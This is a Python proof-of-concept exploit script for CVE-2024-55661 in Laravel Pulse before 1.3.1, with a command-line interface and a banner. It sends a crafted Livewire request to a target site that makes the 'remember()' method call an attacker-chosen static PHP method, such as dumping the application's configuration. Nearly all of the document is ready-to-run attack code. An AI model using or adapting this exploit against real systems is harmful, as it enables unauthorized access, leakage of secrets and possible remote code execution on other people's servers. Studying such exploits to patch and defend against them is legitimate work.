#!/usr/bin/env python3 # Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection # Author: Mohammed Idrees Banyamer (@banyamer_security) # GitHub: https://github.com/mbanyamer # Date: 2025-06-06 # Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2 # CVE: CVE-2024-55661 # Type: Remote Code Execution (via Arbitrary Code Injection) # Platform: PHP (Laravel Livewire) # Author Country: Jordan # Description: # A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via # the `remember()` method in the `RemembersQueries` trait. The attacker can craft # a Livewire request to invoke arbitrary callables, enabling data exfiltration or # remote execution if unsafe classes are exposed. """ Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661) Author: Mohammed Idrees Banyamer | PoC This tool exploits the vulnerability in the `remember()` method in vulnerable versions of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire. """ import argparse import requests import json import sys from rich import print from rich.console import Console console = Console() class LaravelPulseExploit: def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'): self.url = url.rstrip('/') self.component = component self.method = method self.csrf = csrf self.key = key self.component_id = component_id self.headers = { "Content-Type": "application/json", "X-Livewire": "true", "Accept": "application/json" } if csrf: self.headers["X-CSRF-TOKEN"] = csrf def build_payload(self): return { "type": "callMethod", "method": "remember", "params": [self.method, self.key], "id": self.component_id, "name": self.component } def send(self): full_url = f"{self.url}/livewire/message/{self.component}" payload = self.build_payload() console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}") try: response = requests.post(full_url, headers=self.headers, json=payload, timeout=10) except requests.exceptions.RequestException as e: console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}") sys.exit(1) self.display_response(response) def display_response(self, response): console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}") if response.status_code == 200: try: data = response.json() pretty_data = json.dumps(data, indent=4, ensure_ascii=False) console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}") except json.JSONDecodeError: console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}") else: console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}") def parse_arguments(): parser = argparse.ArgumentParser( description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)" ) parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)") parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)") parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)") parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)") parser.add_argument("--csrf", help="Optional CSRF token header") parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)") return parser.parse_args() def banner(): console.print(""" [bold red] ____ _ | __ ) __ _ _ __ _ _ / \ _ __ ___ ___ _ __ | _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__| | |_) | (_| | | | | |_| |/ ___ \| | | | | | __/ | |____/ \__,_|_| |_|\__, /_/ \_\_| |_| |_|\___|_| |___/ [/bold red] [bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white] [blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green] """) if __name__ == "__main__": banner() args = parse_arguments() exploit = LaravelPulseExploit( url=args.url, component=args.component, method=args.method, csrf=args.csrf, key=args.key, component_id=args.id ) exploit.send()